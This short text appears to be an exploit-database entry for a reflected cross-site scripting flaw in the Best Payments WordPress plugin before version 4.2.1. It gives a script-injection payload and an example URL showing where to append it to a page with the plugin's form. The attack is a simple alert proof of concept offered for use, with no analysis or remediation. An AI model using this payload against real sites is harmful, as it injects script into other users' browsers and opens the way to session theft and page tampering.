Exploit for Best Payments Plugin for WP < 4.2.1 - Reflected Cross-Site Scripting

## https://sploitus.com/exploit?id=WPEX-ID:9FF8A652-2340-476D-8430-70B203C023E1
Append the following payload on a page where the is a form from the plugin: a"><script>alert(/XSS/)</script>

e.g: https://example.com/contact-form/?a"><script>alert(/XSS/)</script>